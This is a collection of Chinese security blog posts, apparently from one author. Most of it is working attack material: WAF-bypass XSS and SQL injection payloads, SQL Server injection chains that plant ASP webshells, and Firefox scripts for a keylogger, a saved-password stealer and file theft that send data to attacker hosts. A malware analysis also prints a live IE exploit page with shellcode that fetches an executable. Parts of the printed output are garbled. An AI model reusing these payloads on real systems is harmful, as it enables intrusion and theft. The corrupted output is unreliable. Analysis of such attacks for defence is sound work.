• 加速乐WAF绕过

    日期:2015-03-27 | 分类:脚本攻防

    1、XSS绕过

    常规XSS语句会被拦截:

    【绕过方法】

    在javascript(必须用特殊字符代替部分字符,此处用 a 代替a字符)中创建a函数,再去调用触发JS代码执行。

    http://www.xxxx.net/xss.php?name=<img src=a onerror="jav%26%23x61;script%26colon;a=alert;a(1)%22%3E>

     

    2、SQL注入

    常规方法会被拦截:

    【绕过方法】

    对函数调用有所限制,但在mysql中fun()与`fun`()是等价的,因此只需要在函数名前后添加反斜点即可绕过。下面通过加载/etc/passwd来读取其文件内容,其中0x2f6574632f706173737764即为/etc/passwd,然后在调用union(select……)的方式绕过其对特殊字符串组合的检测:

    http://www.xxx.net/sql.php?id=-1%0aunion(select 4,`load_file`(0x2f6574632f706173737764),6) 

     

  • WAF绕过测试用例

    日期:2015-03-26 | 分类:脚本攻防

    XSS Filter Evasion Cheat Sheet

    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

     

    MySQL Inject Bypass WAF

    http://pastebin.com/D8UXsyR8

  • SQL Server 注入笔记

    日期:2013-05-01 | 分类:脚本攻防

    在一些大公司,通常都是使用mysql+php+apache的居多,对 Microsoft SQL Server 注入实战相对就较少,平时在处理漏洞或者测试时,对于一些有学习价值的注入测试思路、sql语句都会文本备忘下,这里索性就将sql server注入笔记放上来,便于查询。

     

    在一些盲注中,尤其是没有过多错误回显信息的情况下,若语句执行成功就返回正常,若失败就弹框提示“服务器连接超时”之类的错误提示,连爆表、爆字段的机会都没有。最初,查询db_owner、sysadmin、xp_cmdshell都是有权限的,如下所示:

    但是,每次用sqlmqp的--sql-shell的功能执行insert总是失败。后来直接在浏览器上测试insert语句发现执行失败,可见sqlmap的sql-shell功能对语句是否执行功能的判断还是比较有限的,啥也没返回。

     

    1、判断注入大多是and 1=1之类的语句,也经常被过滤掉,这里备忘下sql server基于时间的注入判断:

     

    test.aspx?ID=300 WAITFOR DELAY '0:0:5'--

     

    2、最初通过xp_regread读取注册表值来获取web路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots,但是返回为空,于是就采用下列方法遍历C盘,并将结果写入临时表中(注意:在执行扩展存储功能时,所创建的表段应于扩展存储功能的参数相一致,否则会出错!):

     

    test.aspx?ID=300;CREATE TABLE TMP([ID] int IDENTITY (1,1) NOT NULL,[name] [nvarchar] (300) NOT NULL,[depth] [int] NOT NULL,[isfile] [nvarchar] (50) NULL);insert into tmp exec master..xp_dirtree 'c:/',1,1

     

    用sqlmap把表TMP中的值跑出来:

     

    Table: dbo.tmp

    [11 entries]

    +----+---------------------------+-------+--------+

    | ID | name                      | depth | isfile |

    +----+---------------------------+-------+--------+

    | 1  | $Recycle.Bin              | 1     | 0      |

    | 10 | Users                     | 1     | 0      |

    | 11 | Windows                   | 1     | 0      |

    | 2  | Documents and Settings    | 1     | 0      |

    | 3  | inetpub                   | 1     | 0      |

    | 4  | PerfLogs                  | 1     | 0      |

    | 5  | Program Files             | 1     | 0      |

    | 6  | Program Files (x86)       | 1     | 0      |

    | 7  | ProgramData               | 1!    | 0BA    |

    | 8  | Recovery                  | 1     | 0      |

    | 9  | Systfm Volume Infornation | 1     | 0      |

    +----+---------------------------+-------+--------+

     

    比如站点主目录位于默认路径C:/inetpub/wwwroot,那么通过以下命令可写入一句话木马,其中的中括号前面需要使用^转义:

     

    test.aspx?ID=300;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript" validateRequest="false" %^>^<%Response.Write(eval(Request.Item["w"],"unsafe"));%^> >> C:/inetpub/wwwroot/make.aspx';

     

    除此之外,还可通过数据库差异备份来写入一句话木马:

     

    test.asp?ID=300;create table [dbo].[dtest] ([cmd] [image]); 创建dtest表以及类型为image的cmd字段,其它数据文本类型,如text、nvarchar可能在备份时会被转换成其它格式,比如宽字符。

    test.asp?ID=300;insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);-- 其中hex数据为一句话:<%execute(request("a"))%>

    test.asp?ID=300;backup database 数据库名 to disk='c:/inetpub/wwwroot/d.asp' WITH DIFFERENTIAL,FORMAT;--  只备份差异数据到asp文件中

     

    或者通过log备份写入:

     

    test.asp?ID=300;alter database dbname set RECOVER FULL; 设置数据库为完全恢复模式,以允许备份日志

    test.asp?ID=300;create table cmd(a image);

    test.asp?ID=300;backup log dbname do disk='c:\cmd' with init;  初始化日志

    test.asp?ID=300;insert into cmd(a) values(0x3C25657865637574652872657175657374282261222929253E);  插入一句话木马

    test.asp?ID=300;backup log dbname to disk='c:/inetpub/wwwroot/d.asp';drop table cmd;--   备份包含木马的日志,并删除创建表

  • 若干flash xss漏洞分析

    日期:2013-03-07 | 分类:脚本攻防

    漏洞一:

     

    Parameters.getInstance().data = loaderInfo.parameters;

    public function get onPlayStart():String{

    return (_data["onPlayStart"]);

    }

     

    ExternalInterface.call(Parameters.getInstance().onPlayStart, _arg1);

    ExternalInterface.call(Parameters.getInstance().onPlayStop);

    ExternalInterface.call(Parameters.getInstance().onFileLoadedError);

     

    漏洞二:

     

        function reload(u, show_loading) {

            if (show_loading == undefined) {

                show_loading = true;

            }

            if (show_loading) {

                _root.loading = new Loading("Loading data...");

            }

            var _local2 = "";

            if (_root.data != undefined) {

                _local2 = _root.data;

            }

            if (u != undefined) {

                if (u.length > 0) {

                    _local2 = u;

                }

            }

            _root.lv = undefined;

            _root.lv = new LoadVars();

            _root.lv.onLoad = LoadVarsOnLoad;

            _root.lv.make_chart = make_chart;

            _root.lv.make_pie = make_pie;

            _root.lv.load(_local2);

        }

     

    漏洞三:

     

    var csPreloader;

    loader.loadClip(csPreloader, preloader_mc.target);

     

    漏洞四:

     

    this.loadXML(file);

    function init(file, ploader, bookmark, contentpath)

    container.init(csConfigFile, preloader_mc, csFilesetBookmark, contentpath);

    var csConfigFile;

     

    漏洞五:

     

        getURL(_loc2, this.playList.currentClip().getLinkWindow());

        var _loc2 = this.playList.currentClip().getLinkURL();

        _loc1.getLinkURL = function ()

        {

            return (this.linkUrl);

        };

     

    var _loc1 = (_global.org.flowplayer.playlist.Clip = function (name, baseUrl, fileName, start, end, protected, enableControl, linkUrl, linkWindow, type, allowResize, overlayFileName, overlayId, live, showOnLoadBegin, maxPlayCount, info, thumbnailUrl, suggestedClipsInfoUrl, id, keywords)

        {

            this.linkUrl = linkUrl;

        }

     

    漏洞六:

     

          this.textField.htmlText = ['

    ', content, '

    '].join('');

     

    _global.sIFR = function (textField, content)

    {  ……

          this.write(content);

          ……

    }

          sIFR.instance = new sIFR(_loc3.txtF, _loc4);

          _loc4 = sIFR.VERSION_WARNING.split("%s").join(_root.version);

     

    漏洞七:

     

    this._setVar("_onClick", [_root.onclick, pConfig.onclick], "String");

    getURL(this._onClick, this._onClickTarget);

     

    顺手写了个简单的检测已知漏洞的flash xss检测脚本:

     

     

  • 用git管理openshift文件

    日期:2012-12-10 | 分类:脚本攻防

    用git管理openshift站点文件,直接本地上传更新了,相当方便,连翻墙都给力了。。。

  • opensift 站点

    日期:2012-12-09 | 分类:脚本攻防

    余弦在博客上推荐的opensift确实不错:http://evilcos.me/?p=186

    我在上面直接搞了个wordpress,mysql、php、phpmyadmin一键安装,更重要的是通过ssl可直接远程管理站上代码,而且均是免费的,以后搞测试也方便多了,这里上张图happy下:

     

  • 利用溢出扩展SQL注入

    日期:2011-10-22 | 分类:脚本攻防

    在看《hack in the box》杂志时,看到一篇关于结合溢出方式扩展SQL注入攻击手法的文章,因此在博客标记下,作个记录。我以前提到过结合溢出来XSS的方法(http://bbs.pediy.com/showthread.php?t=124209),思路有点类似,只是一个用来XSS,一个SQL注入,实现上有所不同。

    当用普通语句注入时可能会遇到如下错误,此时就可以考虑使用溢出来实现sql注入(作者是在MySQL 5.0.92上测试的):

    下面是作者给出的注入语句,其中第三行的28开头漏掉%了:

    在文末,作者还给出一些绕过WAF的注入语句,方法都比较旧,但有时需要注入时可以回头看下,算作个记录:

  • Firefox攻击技巧总结

    日期:2011-05-12 | 分类:脚本攻防

     

    在阅读《ClubHACK》黑客杂志时,看到一篇关于Firefox浏览器攻击手法的文章,
    标题为《Mozilla Firefox Internals & Attack Strategies》,里面提供有多份javascript代码,
    用于实现Firefox浏览器下的脚本攻击。本文对此作个简单记录留作备忘,
    以后需要用到时方便回头查阅,并参考其它资料作一总结性记录。
    一、Key Logger
    // 先在Mozilla Firefox中用addEventListener为keypress事件注册一个事件处理程序,这里为onkey函数,以此实现键盘记录功能。
    document.addEventListener("keypress", onkey,false);
    var keys='';
    function onkey(e){
    keyss += String.fromCharCode(e.charCode); // 将按键码转换为字符
    if (keys.length>20){
    // 利用XMLHTTP请求向远程网站发送记录下的按键字符
    http=new XMLHttpRequest();
    url = "http://***********.com/prasannak/ler****.php?keylog="+keyss+"\n";
    http.open("GET",url,false);
    http.send(null);
    keyss='';



    二、No-Script Bypass

    利用XPCOM(跨平台组件对象模型)中的类和组件来向将恶意站点添加到no-script白名单中,以此绕过no-script插件的保护。

    // 其中let关键字只在Firefox或者其它基于mozilla的浏览器中有效,它代表着类似局部变量的意义,具体可参考这里:
    // https://developer.mozilla.org/en/New_in_JavaScript_1.7#let_statement
    let Sub_btn = {
    onCommand: function(event) {
    // 创建preferences-service实例
    var perfs =
    Components.classes["@mozilla.org/preferences-service;1"].
    getService(Components.interfaces.nsIPrefService);
    // 获取“capability.policy.maonoscript.”子分支
    perfs = perfs.getBranch("capability.policy.maonoscript.");
    //向no-script白名单中添加恶意站点
    perfs.setCharPref("sites", "default noscript whitelisted sites + malicioussitehere.com”);");



    三、Password Stealer

    利用XPCOM来获取LoginManager中记录的登陆信息,以截取用户的登陆密码。
    let HelloWorld = {
    onCommand: function(event) {
    // 创建login-manager实例
    var l2m =
    Components.classes["@mozilla.org/login-manager;1"].
    getService(Components.interfaces.nsILoginManager);
    // 获取所有被登陆管理器记录的信息
    alltheinfo = l2m.getAllLogins({});
    for (i=0; I<=alltheinfo.length; i=i+1){
    window.open('http://evilsite.org/?'
    + unescape(alltheinfo[i].hostname) + '.'
    + unescape(alltheinfo[i].username) + '.'
    + unescape(alltheinfo[i].password));
    }
    }
    } ;

    四、攻击DOM与事件句柄

    Extension XUL Code
    <script>
    var customExtension = {
    customListener: function(evt) {
    // loadOverlay函数不能发送基于http的xul请求,但允许来自“chrome:\\”的xul请求。
    document.loadOverlay(evt.target.getAttribute("url"), null);
    }
    }
    document.addEventListener("CustomEvent", function(e) {
    customExtension.customListener(e);
    }, false, true);
    </script>

    Malicious Web Location Code
    <html>
    <head>
    <title>Test</title>
    <script>
    var element =
    document.createElement("CustomExtensionDataElement");
    element.setAttribute("url","chrome://hellooworld/content/q1.xul");
    document.documentElement.appendChild(element);
    var evt = document.createEvent("Events");
    evt.initEvent("CustomEvent",true,false);
    element.dispatchEvent(evt);
    </script>
    </head>
    <body>
    <p>
    This Test Page </p>
    </body>
    </htmL>

    五、Bypassing Wrappers

    Extension Code
    function Test_Function()
    {
    test = my_message
    if (test==null)
    {
    alert("Wrapper Exists")
    }
    else{
    alert(test);
    trim =
    window.content.wrappedJSObject.my_message1
    eval(trim);
    }
    }

    Malicious Website Code
    <html>
    <head>
    <title>Test</title>
    <script>
    var dir= "123";
    my_message1="eval("eval(dirService =
    Components.classes['@mozilla.org/file/directory_service;1'].
    getService(Components.interfaces.nsIProperties);))
    eval( homeDirFile = dirService.get('Home',
    Components.interfaces.nsIFile);)
    eval(homeDir = homeDirFile.path;)
    eval(alert(homeDir);))"))"
    </script>
    </head>
    <body>
    <p>
    This Test Page </p>
    </body>
    </htmL>

    六、本地文件访问

    var fileToRead=”file:///C:/boot.ini”;
    var fileContents=document.ReadURL.readFile(fileToRead);
    setTimeout(“”,100);
    var remoteLocation=”http://evilsite.org/” + unescape(fileContents);
    document.location=remoteLocation;

    七、远程代码执行

    var lFile = Components.classes["@mozilla.org/file/local;1"].
    createInstance(Components.interfaces.nsILocalFile);
    var lPath = "/usr/bin/gnome-terminal";
    lFile.initWithPath(lPath);
    var process = Components.classes["@mozilla.org/process/util;1"].
    createInstance(Components.interfaces.nsIProcess);
    process.init(lFile);
    process.run(false,'','');

    八、写文件系统

    var xmlhttp;
    function loadXMLDoc(url){
    xmlhttp=new XMLHttpRequest();
    xmlhttp.open("GET",url,false);
    xmlhttp.overrideMimeType('text/plain; charset=x-user-defined');
    xmlhttp.send(null);
    if (xmlhttp.status==200){
    setTimeout("",300);
    makefile(xmlhttp.responseText);
    }
    }

    function makefile(bdata){
    var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].
    getService(Components.interfaces.nsIProperties).
    get("Home", Components.interfaces.nsIFile);
    var aFile = Components.classes["@mozilla.org/file/local;1"].
    createInstance(Components.interfaces.nsILocalFile);
    aFile.initWithPath( getWorkingDir.path + "\\revvnc.exe" );
    aFile.createUnique( Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 777);
    var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"].
    createInstance(Components.interfaces.nsIFileOutputStream);
    stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0);
    stream.write(bdata, bdata.length);
    if (stream instanceof Components.interfaces.nsISafeOutputStream){
    stream.finish();
    } else{
    stream.close();
    }
    }

     

  • Ie0dayCVE0806.c 变种网马样本分析
    分析工具:

    l  MDecoder v0.67 http://log.mtian.net/?p=77018

    l  FireFox + Firebug

    l  OD

    l  VC6.0
    样本来源:

    l  网站(温岭科学技术协会)被黑客植入木马 http://log.mtian.net/?p=1172001
    分析结果:
    Log By Mdecoder

     

    Log generated by anonymous use mdecoder 0.67

    [root]http://www.wlkx.gov.cn/IMAGES/lzg/360se.htm

        [exp]http://www.wlkx.gov.cn/IMAGES/lzg/CUTE-IE.html(Exploit.Ie0dayCVE0806.c)

            [script]http://www.wlkx.gov.cn/IMAGES/lzg/pack.js

            [script]http://www.wlkx.gov.cn/IMAGES/lzg/pack.css

               [virus]http://dnf111.dnfcom.com/lzg.exe

        [script]http://js.users.51.la/4162890.js
    代码分析:
    挂马方式:

    典型iframe:
    加个#防止真的挂马上去,blogbus漏洞可真多啊,报上去还说没问题,cookie都让哥给盗了还死不承认,BS之……
    <#iframe src=http://www.wlkx.gov.cn/IMAGES/lzg/CUTE-IE.html width=0 height=0></iframe>
    Exploit代码分析

    -----------------------------------------------------Pack.js----------------------------------------------------------

         try {
    new ActiveXObject("cuteqq");
    }
    catch (e) {
    var ANHEI='\x25'+'u5'+'8'+'5'+EasyJob;   // ANHEI = "%u5858";
    var woshiahwm="%u";
    var anheywangma=unescape;
    }

     

    ----------------------------------------------------Pack.css --------------------------------------------------------

    // Shellcode部分

    var AnHey = ANHEI+'CUTEQQ58'+'58CUTEQQ10EBCUTEQQ4B5BCUTEQQC'+……省略……CUTEQQd2deCUTEQQ92d0CUTEQQc7d1CUTEQQ93daCUTEQQc5d8CUTEQQbdd8CUTEQQEAEACUTEQQEAEACUTEQQEAEACUTEQQEAEA';

    ----------------------------------------------------CUTE-IE.html----------------------------------------------------

    <html>
    <body>
    <script>
    var EasyJob='\x38';
    </script>

    加个#防止blogbus直接显示按钮
    <#button id="evilcute" onclick="ahwm();"
    STYLE="DISPLAY:NONE"></button>
    <!-- 嵌入两个脚本文件pack.js和pack.css -->
    <script src="pack.js"></script>
    <script src="pack.css"></script>
    <script language="javascript">

    var CutePower = anheywangma(AnHey.replace(/CUTEQQ/g,'%u'));  //下面的代码是将AnHey中的CUTEQQ替换为%u,
    //这里AnHey即为shellcode,它保存在pack.css中,
    //此处相当于解密shellcode,
    //而anheywangma即unescape()函数,解密后的shellcode如下:
    //%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B
    //%uFAE2%u05EB%uEBE8%uFFFF%u54FF%uBEA3%uBDBD%uD9E2%u8D1C
    //%uBDBD%u36BD%uB1FD……省略……%ubdd8%uEAEA%uEAEA%uEAEA%uEAEA                                                                
    var CuteMoney = new Array()
    var CuteShine = 0x86000 - CutePower.length*2;

    var sss = Array(472,388,456,128,268,468,464,404,332,420,488,404,128,244,128,136,268,340,336,276,324,324,192,396,192,136,172,136,396,268,340,336,276,324,324,192,396,192,136,172,136,396,136,236,472,388,456,128,268,468,464,404,328,420,412,416,464,128,244,128,388,440,416,404,484,476,388,440,412,436,388,160,268,468,464,404,332,420,488,404,184,456,404,448,432,388,396,404,160,188,268,340,336,276,324,324,188,412,256,156,148,468,156,164,164,236);
    var arr = new Array;
    for (var i = 0; i < sss.length; i ++ ){
    arr[i] = String.fromCharCode(sss[i]/4); } //对上面的数组进行除4运算后再转换成字符串,用FF插件firebug对此处下断,
    //然后单步运行后得到以下字符串:
    // var CuteSize = "CUTEQQ0c0"+"cCUTEQQ0c0"+"c";
    // var CuteRight = anheywangma(CuteSize.replace(/CUTEQQ/g@'%u'));
    var tQknUbSupHPbocFK=arr.toString();
    tQknUbSupHPbocFK=tQknUbSupHPbocFK.replace(/,/g, "");  //过滤逗号
    tQknUbSupHPbocFK = tQknUbSupHPbocFK.replace(/@/g, ",");  //过滤@符号
    eval(tQknUbSupHPbocFK);    //执行上面经处理后的脚本代码,具体代码如下:
    //var CuteSize = "CUTEQQ0c0"+"cCUTEQQ0c0"+"c";
    //var CuteRight = anheywangma(CuteSize.replace(/CUTEQQ/g,'%u'));
    //执行上面的代码后即得到 CuteRight = unescape(%u0c0c%u0c0c);
    try{alert(a,b,c);}
    catch(e)
    {
    //剩下的这些代码与前一篇分析文章的利用方式是一样的,这里不再赘述
    while(CuteRight.length < CuteShine/2) CuteRight += CuteRight;
    var pp = CuteRight.substring(0, CuteShine/2);
    delete CuteRight;
    for(i=0;i<270;i++)
    {
    CuteMoney[i] = pp+pp+CutePower;  
    }
    }
     //用于触发漏洞
    function ahwm()
    {
    var CuteLock = document.createElement("BODY");
    CuteLock.addBehavior("#default#userData");
    document.appendChild(CuteLock);
    try
    {
    for (i=0;i<10;i++)
    {
    CuteLock.setAttribute('s',window);
    }
    }
    catch(e)
    {}
    window.status+='';
    }
    document.getElementById("evilcute").onclick();
    </script>
    </body>
    </html>
    Shellcode 分析

    这份shellcode的代码跟上一篇文章类似,除了病毒的下载不同之外,其余均一样,它主要是从http://dnf111.dnfcom.com/lzg.exe 上下载恶意程序,并将其保存为C:\Documents and Settings\Administrator\Application Data\f.exe,关于此shellcode更为详细的分析可参见前一篇cve0806网马分析。

  • 跨站脚本攻击实例解析

    日期:2010-11-04 | 分类:脚本攻防

    作者:泉哥

    主页: http://riusksk.blogbus.com

    前言

    跨站攻击,即 Cross Site Script Execution( 通常简写为 XSS ,因为 CSS 与层叠样式表同名,故改为 XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的 HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。很多人对于 XSS 的利用大多停留在弹框框的程度,一些厂商对 XSS 也是不以为然,都认为安全级别很低,甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式,并结合实例进行分析。

    漏洞测试

    关于对 XSS 的漏洞测试,这里就以博客大巴为例进行测试,最近我也在上面发现了多处跨站漏洞,其中两处已公布在 WooYun 网站上,其主要内容如下:

    漏洞详情

    简要描述:

    博客大巴存储型 XSS 漏洞

    详细说明:

    在“个人信息设置”的“附加信息”一项中,由于对“个人简介”的内容过滤不严,导致可在博客首页实现跨站,而在下方“添加一段附加信息”中,由于对“信息标题”内容过滤不严,同样可导致跨站的出现。

    但我刚又测试了一下,发现官方只修补了其中一个漏洞(个人简介),而另一个漏洞得在博客管理后台才能触发,利用价值不大。与此同时我在对博客模板的测试中,又发现了五处跨站漏洞,估计这些漏洞其实很早就有人发现了,只是没人公布或者报给 blogbus 后仍未修补。这次报给 WooYun 的主要目的是让 blogbus 修补此漏洞,因为我的博客就在上面! ^_^ 其余五处漏洞分别在“编辑自定义模板”中,由于对代码模块 head,index,index-post,detail,detail-post 等处的代码过滤不严,导致跨站的发生,分别向其写入 <img src="#" onerror=alert("head")></img> ,为便于区别,我将提示语句更改为对应的名称,前三项在首页可触发脚本,后两项需打开文章才可触发,测试结果如图 1 2 所示:

    ……

    Attached Files
    File Type: rar 跨站脚本攻击实例解析.rar (1.79 MB)